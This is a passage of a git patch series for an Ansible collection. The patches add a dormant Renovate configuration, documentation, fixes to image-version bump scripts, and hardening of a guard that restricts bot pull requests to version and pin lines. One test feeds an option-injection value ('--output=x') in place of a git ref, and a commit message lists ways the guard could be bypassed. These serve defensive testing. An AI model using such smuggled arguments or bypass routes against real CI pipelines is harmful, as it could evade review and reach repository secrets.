"reuse==6.3.0") + self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0") + self.edit("images/ci/Dockerfile", "uv==0.13.5", "uv==0.14.0") + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1") + self.edit(".gitea/workflows/molecule.yml", D1, D2) + self.commit("bot") + code, out, err = self.gate() + self.assertEqual(code, 0, err) + self.assertIn("5 file(s)", out) + + def test_each_violation_gets_one_line(self): + self.edit(".gitea/workflows/lint.yml", "echo a", "echo b") + self.write("roles/x/main.yml", "a\n") + self.edit("renovate.json", "{}", '{"a":1}') + self.commit("bot") + code, _, err = self.gate() + self.assertEqual(code, 1) + lines = err.strip().splitlines() + self.assertEqual(len(lines), 3, err) + self.assertTrue(all(line.startswith("::error::") for line in lines)) + + def test_deleted_and_mode_changed_files_fail(self): + run(self.repo, "git", "rm", "-q", "requirements-dev.txt") + self.commit("bot") + self.assertEqual(self.gate()[0], 1) + run(self.repo, "git", "checkout", "-q", "main", "--", "requirements-dev.txt") + os.chmod(self.repo / "requirements-dev.txt", 0o755) + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", "mode") + self.assertEqual(self.gate()[0], 1) + + def test_other_branches_are_skipped(self): + self.write("roles/x/main.yml", "a\n") + self.commit("human") + code, out, _ = self.gate(head="feat/x") + self.assertEqual(code, 0) + self.assertIn("skipped", out) + + def test_bad_input(self): + code, _, err = self.gate(base="--output=x") + self.assertEqual(code, 1) + self.assertNotIn("Traceback", err) + self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo, + capture_output=True, text=True, check=False).returncode, 2) + + +if __name__ == "__main__": + unittest.main() From aab4079a9a6a7b493938f8ba85259903bff678f2 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Sun, 25 Oct 2026 21:20:02 +0000 Subject: [PATCH 4/9] build(deps): add an inert renovate.json for dependency automation Minor and patch bumps automerge, majors are manual; ansible-core minor and major, the image.yml job container and kaniko tooling never automerge; pin-follow for our own images is disabled until Phase 4. No postUpgradeTasks. renovate.json is in build_ignore, so the Collection archive is unchanged. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- galaxy.yml | 1 + renovate.json | 139 ++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 140 insertions(+) create mode 100644 renovate.json diff --git a/galaxy.yml b/galaxy.yml index 4cd3995..af53f86 100644 --- a/galaxy.yml +++ b/galaxy.yml @@ -38,6 +38,7 @@ build_ignore: - images - scripts - tests/scripts + - renovate.json - requirements-dev.txt - gitleaks-report.json - importer_result.json diff --git a/renovate.json b/renovate.json new file mode 100644 index 0000000..b55744e --- /dev/null +++ b/renovate.json @@ -0,0 +1,139 @@ +{ + "$schema": "https://docs.renovatebot.com/renovate-schema.json", + "description": "INERT until Kamino is added to the self-hosted Renovate instance's repository list (the operator's step, Phase 3 of the Renovate plan). Policy: automerge minor and patch, majors by hand. Every bot pull request must pass scripts/check_bot_pr_diff.py (lint workflow), which allows only version, tag, digest and pin lines. postUpgradeTasks are NOT configured: the cluster allows no commands yet (Phase 2/3).", + "extends": [ + "config:recommended", + ":enablePreCommit" + ], + "branchPrefix": "renovate/", + "semanticCommits": "enabled", + "semanticCommitType": "chore", + "semanticCommitScope": "deps", + "enabledManagers": [ + "pip_requirements", + "pre-commit", + "github-actions", + "dockerfile", + "custom.regex" + ], + "automerge": true, + "automergeType": "pr", + "minimumReleaseAge": "3 days", + "minimumReleaseAgeBehaviour": "timestamp-optional", + "timezone": "UTC", + "pip_requirements": { + "managerFilePatterns": [ + "/^requirements-dev\\.txt$/" + ] + }, + "pre-commit": { + "enabled": true, + "managerFilePatterns": [ + "/^\\.pre-commit-config\\.yaml$/" + ] + }, + "github-actions": { + "managerFilePatterns": [ + "/^\\.gitea/workflows/.+\\.ya?ml$/" + ] + }, + "dockerfile": { + "managerFilePatterns": [ + "/^images/[^/]+/Dockerfile$/" + ] + }, + "customManagers": [ + { + "customType": "regex", + "description": "The uv pin that installs the build-stage Python interpreters of the ci image (images/ci/Dockerfile). It is an image input: the version bump comes from scripts/bump_image_versions.py via postUpgradeTasks (to be enabled in Phase 2/3).", + "managerFilePatterns": [ + "/^images/ci/Dockerfile$/" + ], + "matchStrings": [ + "\\buv==(?[0-9][0-9A-Za-z.+!_-]*)" + ], + "depNameTemplate": "uv", + "datasourceTemplate": "pypi" + }, + { + "customType": "regex", + "description": "The MOLECULE_IMAGE value of molecule.yml is a multi-line `>-` scalar, which the github-actions manager does not read; matched here by its exact shape. Only used by the pin-follow rule below, which is disabled until Phase 4.", + "managerFilePatterns": [ + "/^\\.gitea/workflows/molecule\\.yml$/" + ], + "matchStrings": [ + "MOLECULE_IMAGE:\\s*>-\\s*\\n\\s*(?git\\.rkdr\\.net/mortis/[a-z0-9._-]+):(?[^@\\s]+)@(?sha256:[0-9a-f]{64})" + ], + "datasourceTemplate": "docker", + "versioningTemplate": "semver" + } + ], + "packageRules": [ + { + "description": "Majors are reviewed by hand.", + "matchUpdateTypes": [ + "major" + ], + "automerge": false, + "labels": [ + "breaking-change" + ] + }, + { + "description": "ansible-core and ansible-lint move together (the lint rules follow the core version). A new ansible-core minor also needs a tests/sanity/ignore-2.NN.txt, so its minor and major bumps are manual; patches of both follow the global automerge.", + "groupName": "ansible tooling", + "matchDatasources": [ + "pypi" + ], + "matchPackageNames": [ + "ansible-core", + "ansible-lint" + ] + }, + { + "description": "ansible-core minor and major bumps: sanity needs a new tests/sanity/ignore-2.NN.txt, a human adds it.", + "matchDatasources": [ + "pypi" + ], + "matchPackageNames": [ + "ansible-core" + ], + "matchUpdateTypes": [ + "minor", + "major" + ], + "automerge": false + }, + { + "description": "The image-input classes (requirements-dev.txt, .pre-commit-config.yaml, images/**): a bump of one is an input change of the ci or molecule image. The version bump in image.yml comes from scripts/bump_image_versions.py via postUpgradeTasks (enabled in Phase 2/3, not yet: until then the pull request fails the version check and a human adds the bump). The pin follow-up pull request comes from the docker datasource after the build on main (Phase 4).", + "matchManagers": [ + "pip_requirements", + "pre-commit", + "dockerfile", + "custom.regex" + ] + }, + { + "description": "The job container of image.yml (ubuntu by digest) runs the kaniko push with the org registry credential: never automerged, and kept in its own branch so the Dockerfile base-image bumps are not held back with it.", + "matchFileNames": [ + ".gitea/workflows/image.yml" + ], + "automerge": false, + "additionalBranchPrefix": "job-container-" + }, + { + "description": "Anything that names the kaniko tooling: the image job that runs it holds the registry push credential, so it is reviewed.", + "matchPackageNames": [ + "/kaniko/" + ], + "automerge": false + }, + { + "description": "Pin follow-up for our own images (git.rkdr.net/mortis/*): DISABLED. Phase 4, after a dry run against the registry; until then moving a pin is a reviewed hand edit (scripts/check_image_versions.py pins).", + "matchPackageNames": [ + "git.rkdr.net/mortis/**" + ], + "enabled": false + } + ] +} From c03e492f81747add8b1806f61008943d30317526 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Sun, 25 Oct 2026 21:20:17 +0000 Subject: [PATCH 5/9] docs: describe the Renovate automation, the two-PR image loop and the bot-diff gate Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- CLAUDE.md | 37 +++++++++++++++++++++++++++++++++++++ CONTRIBUTING.md | 19 +++++++++++++++++++ 2 files changed, 56 insertions(+) diff --git a/CLAUDE.md b/CLAUDE.md index c964a80..c60ae21 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -58,3 +58,40 @@ protection, or create tags: those are the operator's. - `image.yml` tries the job token first with a write probe; Gitea 28 refuses it for the org's packages (HTTP 401, run 2237), so the push uses the org Actions secrets `PACKAGE_PUSH_USER` and `PACKAGE_PUSH_TOKEN`. Never print or use them anywhere else. + +## Dependency automation (Renovate, Phase 0: configured, not active) + +`renovate.json` is inert until the operator adds Kamino to the self-hosted instance's repository +list. Nothing below runs yet unless it says so. + +- **Policy:** minor and patch bumps automerge, majors are manual. `ansible-core` minor and major + are manual too (a new minor needs a `tests/sanity/ignore-2.NN.txt`), and `ansible-core` and + `ansible-lint` bump in one group. The `ubuntu` job container of `image.yml` and anything + naming kaniko never automerge: that job holds the registry push credential. +- **Two-PR loop for an image input** (`requirements-dev.txt`, `.pre-commit-config.yaml`, + `images/**`): PR 1 carries the input change plus the PATCH bump of the image `version:` in + `image.yml` (`scripts/bump_image_versions.py []`, idempotent, edits only the + version line; `check_image_versions.py bump` then passes). The merge builds the image on + `main`. PR 2 moves the consumers' `image:@sha256:` pins to that digest. + Until Phase 2/3 enables the script as a `postUpgradeTasks` command (the cluster allows no + commands yet, and `renovate.json` must not list any), the bump in PR 1 is a hand edit, and + PR 2 stays a hand edit until Phase 4 (pin-follow for `git.rkdr.net/mortis/*` is + `enabled: false`; it needs a dry run against the registry first). +- **Bot-diff gate:** the `lint` workflow runs `scripts/check_bot_pr_diff.py` on pull requests. A + head ref starting `renovate/` may only change version lines in `requirements-dev.txt`, `rev:` + lines in `.pre-commit-config.yaml`, FROM tags/digests and the `uv==` pin in `images/*/Dockerfile`, + the matrix `version:` lines and the ubuntu job container pin in `image.yml`, and the image + pins in `lint.yml`, `build.yml` and `molecule.yml`. Anything else fails, `renovate.json` included. + The branch name is attacker-controlled, so this only constrains the bot's own pull requests; its + purpose is that automerging them cannot alter workflow logic or reach the org secrets. +- **No Collection release from tooling bumps:** everything involved is in `galaxy.yml` + `build_ignore`, so the Collection archive and version do not change. A role-visible change needs + a changelog fragment and a new `galaxy.yml` version, and only the operator tags. +- **No production images:** `check_image_versions.py pins` fails when anything under + `.gitea/workflows` mentions `git.rkdr.net/defame1297/`. +- **Not enabled yet:** the Renovate run itself, `postUpgradeTasks`, credentials for the + `git.rkdr.net` registry (`hostRules`), pin-follow, and a validated `renovate.json` on the + instance's Renovate version. The `pre-commit` manager is beta; the hooks come from github.com. +- A pin-only pull request (only `lint.yml`, `build.yml`, `molecule.yml`) does not match any + `image.yml` push path (`images/**`, `requirements-dev.txt`, `.pre-commit-config.yaml`, + `.gitea/workflows/image.yml`), so it rebuilds nothing. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 0a090e9..0ff1c59 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -21,6 +21,25 @@ (commit the generated `CHANGELOG.rst` and `changelogs/.plugin-cache.yaml`), then push an annotated `vX.Y.Z` tag. +## Dependency and image updates + +- `requirements-dev.txt`, `.pre-commit-config.yaml` and `images/**` are inputs of the CI and + molecule images. A pull request that changes one needs a higher `version:` for that image in + `.gitea/workflows/image.yml` (`python3 scripts/bump_image_versions.py` makes the edit; the + `Check image versions were bumped` step enforces it). After the merge, `image.yml` builds the + image on `main`, and a second pull request moves the `image:@sha256:` pins in + `lint.yml`, `build.yml` and `molecule.yml` to the printed digest. That second pull request + touches no `image.yml` trigger path, so it rebuilds nothing. +- These files are in `galaxy.yml` `build_ignore`: such bumps do not change the Collection or its + version. A change consumers can see needs a changelog fragment, and only the maintainer + bumps the version and tags. +- `renovate.json` configures dependency bumps (minor and patch automerge, majors by hand). It is + not active yet: Renovate does not run against this repository, and until it does the bumps above + are made by hand. Pull requests from `renovate/` branches must pass + `scripts/check_bot_pr_diff.py`, which only allows version, tag, digest and pin lines. +- Workflows must not mention `git.rkdr.net/defame1297/` (the production image set); the + `Check image pins` step fails if they do. + ## Maintainer setup Settings the workflows cannot enforce and the repository needs before it accepts From a57714342b0e08293cccf5748c854f94b98190d4 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Mon, 26 Oct 2026 06:39:11 +0000 Subject: [PATCH 6/9] fix(scripts): attribute bumped versions to their own matrix entry bump_image_versions.py now locates each matrix.include entry and rewrites the version: line of the entry whose name: it is, whatever the key order; an entry it cannot parse unambiguously is a one-line error, and the rewrite is verified against the YAML before it is written. Files are read and written as UTF-8 with newline="" so CRLF survives. A shallow clone without a merge-base names the fix (git fetch --unshallow). check_image_versions.py decodes git's stderr, so errors no longer print a bytes repr. Untracked files that git ignores were already skipped; a test now pins that. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- scripts/bump_image_versions.py | 110 +++++++++++++++++---- scripts/check_image_versions.py | 13 ++- tests/scripts/test_bump_image_versions.py | 88 +++++++++++++++++ tests/scripts/test_check_image_versions.py | 7 ++ 4 files changed, 194 insertions(+), 24 deletions(-) diff --git a/scripts/bump_image_versions.py b/scripts/bump_image_versions.py index e0f67f3..2d178ff 100644 --- a/scripts/bump_image_versions.py +++ b/scripts/bump_image_versions.py @@ -11,7 +11,10 @@ with , so committed, staged, unstaged and new files all count) and, fo sets `version:` in the build matrix of .gitea/workflows/image.yml to the PATCH successor of the base's version, unless the file already holds a higher one. Running it twice changes nothing the second time. An image that is new at the base is left alone. Only the -`version:` line is rewritten; comments, quoting and the rest of the file are kept. +`version:` line is rewritten (attributed to the `name:` of its own matrix entry, whatever the key +order; an entry that cannot be parsed unambiguously is an error); comments, quoting, line endings and +the rest of the file are kept. Untracked files count as inputs unless git ignores them, so a cache +under images/ must be in .gitignore. It is meant to run later as a Renovate `postUpgradeTasks` command (Phase 2/3 of the Renovate plan; renovate.json does not enable it yet), so a dependency bump that changes an @@ -29,7 +32,9 @@ import check_image_versions as civ DEFAULT_BASE = "origin/main" USAGE = "usage: bump_image_versions.py []\n" -NAME_LINE_RE = re.compile(r"^(\s*-\s*)name:\s*(?P\S+)\s*(?:#.*)?$") +INCLUDE_RE = re.compile(r"^\s*include:\s*(?:#.*)?$") +ITEM_RE = re.compile(r"^(?P\s*)-(?P\s+)(?P\S.*)$") +NAME_KEY_RE = re.compile(r"^(?P\s*)name:\s*[\"']?(?P[^\"'\s#]+)[\"']?\s*(?:#.*)?$") VERSION_LINE_RE = re.compile(r"^(?P\s*(?:-\s*)?version:\s*)(?P[\"']?)(?P[^\"'\s#]+)(?P=q)(?P.*)$") @@ -40,25 +45,77 @@ def next_patch(version): return f"{major}.{minor}.{int(patch) + 1}" -def rewrite(text, new_versions): - """The text with the `version:` line of each named matrix entry replaced; only that line changes.""" - lines = text.splitlines(keepends=True) - current = None - done = set() - for n, line in enumerate(lines): - body = line.rstrip("\r\n") - m = NAME_LINE_RE.match(body) - if m: - current = m["name"].strip("\"'") +def _entries(lines): + """[(start, end)] line ranges of the matrix.include entries (end exclusive); an error when the + list cannot be located unambiguously.""" + heads = [n for n, line in enumerate(lines) if INCLUDE_RE.match(line.rstrip("\r\n"))] + if len(heads) != 1: + raise civ.CheckError(f"cannot find exactly one `include:` list in {civ.MATRIX_FILE}") + starts, dash_indent = [], None + end = len(lines) + for n in range(heads[0] + 1, len(lines)): + body = lines[n].rstrip("\r\n") + if not body.strip() or body.lstrip().startswith("#"): continue - v = VERSION_LINE_RE.match(body) - if v and current in new_versions and current not in done: - q = v["q"] - lines[n] = f"{v['head']}{q}{new_versions[current]}{q}{v['tail']}" + line[len(body):] - done.add(current) - missing = sorted(set(new_versions) - done) + m = ITEM_RE.match(body) + indent = len(body) - len(body.lstrip()) + if dash_indent is None: + if not m: + raise civ.CheckError(f"the `include:` list of {civ.MATRIX_FILE} is not a block list of mappings") + dash_indent = indent + if indent < dash_indent: + end = n + break + if indent == dash_indent: + if not m: + raise civ.CheckError(f"cannot parse the `include:` list of {civ.MATRIX_FILE}") + starts.append(n) + if not starts: + raise civ.CheckError(f"the `include:` list of {civ.MATRIX_FILE} is empty") + return list(zip(starts, starts[1:] + [end])) + + +def _entry_lines(lines, start, end): + """(name, index of the version line) of one entry, from lines normalised so the first key sits + at the same column as the others.""" + first = ITEM_RE.match(lines[start].rstrip("\r\n")) + key_col = len(first["dash"]) + 1 + len(first["gap"]) + names, versions = [], [] + for n in range(start, end): + body = lines[n].rstrip("\r\n") + if n == start: + body = " " * key_col + first["rest"] + if len(body) - len(body.lstrip()) != key_col: + continue # a comment, a blank line or a nested key + m = NAME_KEY_RE.match(body) + if m: + names.append(m["name"]) + elif VERSION_LINE_RE.match(body): + versions.append(n) + if len(names) != 1 or len(versions) != 1: + raise civ.CheckError(f"cannot parse a matrix entry of {civ.MATRIX_FILE} (line {start + 1}) " + "unambiguously: expected one `name:` and one `version:`") + return names[0], versions[0] + + +def rewrite(text, new_versions): + """The text with the `version:` line of each named matrix entry replaced; only that line changes. + A `version:` is attributed to the `name:` of the SAME matrix entry, whatever the key order.""" + lines = text.splitlines(keepends=True) + targets = {} + for start, end in _entries(lines): + name, version_index = _entry_lines(lines, start, end) + if name in new_versions: + targets[name] = version_index + missing = sorted(set(new_versions) - set(targets)) if missing: raise civ.CheckError(f"no `version:` line found for image {', '.join(missing)} in {civ.MATRIX_FILE}") + for name, n in targets.items(): + line = lines[n] + body = line.rstrip("\r\n") + v = VERSION_LINE_RE.match(body) + q = v["q"] + lines[n] = f"{v['head']}{q}{new_versions[name]}{q}{v['tail']}" + line[len(body):] return "".join(lines) @@ -75,6 +132,12 @@ def plan(base_matrix, head_matrix, changed, read_head_file): return new_versions +def read_text(path): + """The file as UTF-8 text with its line endings (CRLF included) untouched.""" + with open(path, encoding="utf-8", newline="") as handle: + return handle.read() + + def run(argv): if len(argv) > 2: sys.stderr.write(USAGE) @@ -88,12 +151,17 @@ def run(argv): except civ.CheckError: base_matrix = {} # no matrix at the base: every image is new path = pathlib.Path(civ.MATRIX_FILE) - text = path.read_text() + text = read_text(path) head_matrix = civ.matrix_of(text) - new_versions = plan(base_matrix, head_matrix, changed, lambda p: pathlib.Path(p).read_text()) + new_versions = plan(base_matrix, head_matrix, changed, lambda p: read_text(pathlib.Path(p))) if not new_versions: return "image versions: nothing to bump" - path.write_text(rewrite(text, new_versions)) + new_text = rewrite(text, new_versions) + expected = {name: new_versions.get(name, entry["version"]) for name, entry in head_matrix.items()} + if {name: entry["version"] for name, entry in civ.matrix_of(new_text).items()} != expected: + raise civ.CheckError(f"the rewrite of {civ.MATRIX_FILE} would not give the planned versions; edit it by hand") + with open(path, "w", encoding="utf-8", newline="") as handle: + handle.write(new_text) return "image versions: bumped " + ", ".join( f"{name} {head_matrix[name]['version']} -> {new}" for name, new in sorted(new_versions.items())) diff --git a/scripts/check_image_versions.py b/scripts/check_image_versions.py index 226d36e..3c2070e 100644 --- a/scripts/check_image_versions.py +++ b/scripts/check_image_versions.py @@ -297,13 +297,20 @@ def git(*args, raw=False): out = subprocess.run(["git", *args], capture_output=True, check=True).stdout return out if raw else out.decode("utf-8", errors="replace") except subprocess.CalledProcessError as exc: - detail = (exc.stderr or "").strip().splitlines() - raise CheckError(f"git {args[0]} failed: {detail[-1] if detail else 'exit ' + str(exc.returncode)}") from exc + stderr = exc.stderr.decode("utf-8", errors="replace") if isinstance(exc.stderr, bytes) else (exc.stderr or "") + detail = stderr.strip().splitlines() + raise CheckError(f"git {args[0]} failed: {detail[-1].strip() if detail else 'exit ' + str(exc.returncode)}") from exc def changed_paths(base_ref, target="HEAD"): """(merge-base, changed paths) between base_ref and target; target None means the working tree.""" - base = git("merge-base", "--end-of-options", base_ref, "HEAD").strip() + try: + base = git("merge-base", "--end-of-options", base_ref, "HEAD").strip() + except CheckError as exc: + if git("rev-parse", "--is-shallow-repository").strip() == "true": + raise CheckError(f"no merge-base with {base_ref!r} in a shallow clone: run `git fetch --unshallow` " + "or pass a ref that exists") from exc + raise # --no-renames: a moved input file shows as a deletion at the old path and an addition # at the new one, so the old path still counts as touched. # -z: NUL-separated, unquoted paths, so a non-ASCII name (images/x/café) is compared as is diff --git a/tests/scripts/test_bump_image_versions.py b/tests/scripts/test_bump_image_versions.py index 33fe383..7c0ea49 100644 --- a/tests/scripts/test_bump_image_versions.py +++ b/tests/scripts/test_bump_image_versions.py @@ -3,6 +3,7 @@ """Run with: python3 -m unittest discover -s tests/scripts""" import os import pathlib +import shutil import subprocess import sys import tempfile @@ -55,6 +56,42 @@ class PureTest(unittest.TestCase): biv.rewrite(IMAGE_YML.format(mol="0.1.0", ci="0.2.0"), {"nope": "1.0.0"}) +SHUFFLED_YML = """\ +jobs: + image: + strategy: + matrix: + include: + - version: {mol} + subpath: images/mol + name: mol + dockerfile: Dockerfile + - subpath: "" + version: "{ci}" + dockerfile: images/ci/Dockerfile + name: ci +""" + + +class EntryAttributionTest(unittest.TestCase): + def test_version_before_name_is_attributed_to_its_own_entry(self): + text = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0") + out = biv.rewrite(text, {"ci": "0.2.1"}) + self.assertEqual(out, SHUFFLED_YML.format(mol="0.1.0", ci="0.2.1")) + out = biv.rewrite(text, {"mol": "0.1.1"}) + self.assertEqual(out, SHUFFLED_YML.format(mol="0.1.1", ci="0.2.0")) + + def test_entry_without_its_own_version_never_borrows_another(self): + text = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0").replace(' version: "0.2.0"\n', "") + with self.assertRaises(biv.civ.CheckError): + biv.rewrite(text, {"mol": "0.1.1"}) + + def test_flow_style_entry_is_refused(self): + text = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0") + " - {name: x, version: 1.0.0}\n" + with self.assertRaises(biv.civ.CheckError): + biv.rewrite(text, {"ci": "0.2.1"}) + + class RepoTest(unittest.TestCase): def setUp(self): self.tmp = tempfile.TemporaryDirectory() @@ -141,6 +178,57 @@ class RepoTest(unittest.TestCase): self.assertNotIn("Traceback", err) self.assertEqual(len(err.strip().splitlines()), 1, err) + def test_shuffled_key_order_bumps_the_right_entry_end_to_end(self): + self.write(".gitea/workflows/image.yml", SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0")) + self.commit("shuffle") + self.write("requirements-dev.txt", "a==2\n") # an input of ci only + code, out, err = self.bump() + self.assertEqual((code, out), (0, "image versions: bumped ci 0.2.0 -> 0.2.1\n"), err) + self.assertEqual(self.versions(), SHUFFLED_YML.format(mol="0.1.0", ci="0.2.1")) + + def test_unparseable_entry_is_a_one_line_failure(self): + flow = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0") + " - {name: x, version: 1.0.0}\n" + self.write(".gitea/workflows/image.yml", flow) + self.commit("flow") + self.write("requirements-dev.txt", "a==2\n") + code, _, err = self.bump() + self.assertEqual(code, 1) + self.assertEqual(len(err.strip().splitlines()), 1, err) + self.assertEqual(self.versions(), flow) + + def test_crlf_line_endings_are_preserved(self): + crlf = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace("\n", "\r\n").encode("utf-8") + path = self.repo / ".gitea/workflows/image.yml" + path.write_bytes(crlf) + self.commit("crlf") + self.write("requirements-dev.txt", "a==2\n") + self.assertEqual(self.bump()[0], 0) + self.assertEqual(path.read_bytes(), crlf.replace(b'"0.2.0"', b'"0.2.1"')) + + def test_ignored_cache_under_images_is_not_an_input(self): + self.write(".gitignore", "__pycache__/\n") + self.commit("ignore") + self.write("images/mol/__pycache__/x.pyc", "cache\n") + self.assertEqual(self.bump()[1], "image versions: nothing to bump\n") + self.write("images/mol/real-file", "x\n") + self.assertEqual(self.bump()[1], "image versions: bumped mol 0.1.0 -> 0.1.1\n") + + def test_shallow_clone_names_the_fix(self): + clone = self.repo.parent / (self.repo.name + "-shallow") + self.addCleanup(shutil.rmtree, clone, True) + self.write("images/mol/Dockerfile", "FROM y\n") + self.commit("two") + self.write("images/mol/Dockerfile", "FROM z\n") + self.commit("three") + run(self.repo.parent, "git", "clone", "-q", "--depth", "1", "--branch", "feature", f"file://{self.repo}", + str(clone)) + run(clone, "git", "fetch", "-q", "--depth", "1", "origin", "main:refs/remotes/origin/main") + proc = subprocess.run([sys.executable, str(SCRIPTS / "bump_image_versions.py"), "origin/main"], cwd=clone, + capture_output=True, text=True, check=False) + self.assertEqual(proc.returncode, 1) + self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr) + self.assertIn("git fetch --unshallow", proc.stderr) + def test_usage(self): self.assertEqual(self.bump("a", "b")[0], 2) diff --git a/tests/scripts/test_check_image_versions.py b/tests/scripts/test_check_image_versions.py index 5e0d3a8..b008f18 100644 --- a/tests/scripts/test_check_image_versions.py +++ b/tests/scripts/test_check_image_versions.py @@ -280,6 +280,13 @@ class GitTest(unittest.TestCase): def test_unknown_base_ref_is_one_line(self): self.assert_clean_failure(self.bump_args("bump", "nope"), "git merge-base failed") + def test_git_errors_are_decoded_text_not_a_bytes_repr(self): + code, err = self.bump_args("bump", "nope") + self.assertEqual(code, 1) + self.assertNotIn("b'", err) + self.assertNotIn('b"', err) + self.assertIn("fatal:", err) + def test_bad_version_in_matrix_is_one_line(self): self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="latest", ci="0.2.0")) self.commit("bad version") From 8e9a8c5df0efccb54acecbfff336768f6a30f93a Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Mon, 26 Oct 2026 06:41:20 +0000 Subject: [PATCH 7/9] fix(ci): close the bypasses of the bot pull request diff guard A change git treats as binary (NUL byte, UTF-16, a -diff attribute) or one with no removed or no added line now fails, and the line diff runs with --text --no-ext-diff --no-textconv. Tags are limited to [A-Za-z0-9._-]; the digest must be present on both sides of an ubuntu job container line and of a FROM line; matrix version lines must stay in place and rise; paths are taken literally (--literal-pathspecs); an empty head ref on a pull_request fails closed (EVENT_NAME). The lint workflow runs the guard from origin/main (the whole scripts/ directory, since it imports check_image_versions) and falls back to the pull request's copy with a notice while main has none. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- .gitea/workflows/lint.yml | 18 +++- scripts/check_bot_pr_diff.py | 73 +++++++++++++--- tests/scripts/test_check_bot_pr_diff.py | 111 ++++++++++++++++++++++++ 3 files changed, 189 insertions(+), 13 deletions(-) diff --git a/.gitea/workflows/lint.yml b/.gitea/workflows/lint.yml index d6b9411..32c82d9 100644 --- a/.gitea/workflows/lint.yml +++ b/.gitea/workflows/lint.yml @@ -87,15 +87,29 @@ jobs: # A pull request from a renovate/ branch may only move version, tag, digest and pin # lines (scripts/check_bot_pr_diff.py), so the bot's automerge cannot change workflow # logic or reach the org secrets. The branch name is attacker-controlled: this only - # constrains the bot's own pull requests. The refs go through env:, never into run:. + # constrains the bot's own pull requests. The guard runs from origin/main, never from the + # pull request's own copy (a PR could weaken it); the whole scripts/ directory comes from + # the base because the guard imports check_image_versions. Not -I: that drops the + # script's directory from sys.path and the import would fail; -E -s ignore the + # environment and user site. Until origin/main has the script (the PR that introduces it) + # the PR copy runs, with a notice. The refs go through env:, never into run:. - name: Check a bot pull request only moves pins if: github.event_name == 'pull_request' env: HEAD_REF: ${{ github.head_ref }} BASE_REF: origin/main + EVENT_NAME: ${{ github.event_name }} run: | export PATH="/opt/venv/bin:$PATH" - python3 scripts/check_bot_pr_diff.py "$HEAD_REF" "$BASE_REF" + guard=scripts/check_bot_pr_diff.py + if git cat-file -e "$BASE_REF:scripts/check_bot_pr_diff.py" 2>/dev/null; then + base_dir="$(mktemp -d "${RUNNER_TEMP:-/tmp}/base.XXXXXX")" + git archive "$BASE_REF" scripts | tar -x -C "$base_dir" + guard="$base_dir/scripts/check_bot_pr_diff.py" + else + echo "::notice::$BASE_REF has no scripts/check_bot_pr_diff.py yet; running the pull request's copy" + fi + python3 -E -s "$guard" "$HEAD_REF" "$BASE_REF" - name: Test the repository scripts run: | diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py index 2d139ea..9ab859d 100644 --- a/scripts/check_bot_pr_diff.py +++ b/scripts/check_bot_pr_diff.py @@ -28,21 +28,30 @@ to make the automerge of those safe: a bot pull request cannot alter workflow lo the organisation secrets (only image.yml references them), whatever a compromised or confused dependency update proposes. +The environment variable EVENT_NAME (the workflow's event) makes an empty on a +pull_request an error instead of a skip. + +A change git sees as binary (a NUL byte, UTF-16, a -diff attribute) or one with no removed or no +added line fails: a pin change always has both, and the line diff is taken with --text. + Exit codes: 0 ok or skipped, 1 a violation or a failure to run, 2 bad usage. """ +import os import re import sys import check_image_versions as civ PREFIX = "renovate/" -PIN = re.compile(r"(git\.rkdr\.net/mortis/[a-z0-9._-]+):[^@\s]+@sha256:[0-9a-f]{64}") +TAG = r"[A-Za-z0-9._-]+" +PIN = re.compile(rf"(git\.rkdr\.net/mortis/[a-z0-9._-]+):{TAG}@sha256:[0-9a-f]{{64}}") REQ_LINE = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)==[0-9][0-9A-Za-z.+!_-]*$") REV_LINE = re.compile(r"^\s*rev:\s*\S+\s*$") -VERSION_LINE = re.compile(r"""^\s*(?:-\s*)?version:\s*["']?[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?["']?\s*(?:#.*)?$""") -FROM_LINE = re.compile(r"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?(\s+AS\s+\S+)?\s*$") +VERSION_LINE = re.compile( + r"""^\s*(?:-\s*)?version:\s*["']?(?P[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?)["']?\s*(?:#.*)?$""") +FROM_LINE = re.compile(rf"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::{TAG})?@sha256:[0-9a-f]{{64}}(\s+AS\s+\S+)?\s*$") UV_TOKEN = re.compile(r"\buv==[0-9][0-9A-Za-z.+!_-]*") -UBUNTU_LINE = re.compile(r"^(\s*image:\s*ubuntu)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?\s*$") +UBUNTU_LINE = re.compile(rf"^(\s*image:\s*ubuntu)(?::{TAG})?@sha256:[0-9a-f]{{64}}\s*$") DOCKERFILE = re.compile(r"images/[^/]+/Dockerfile") CONSUMERS = 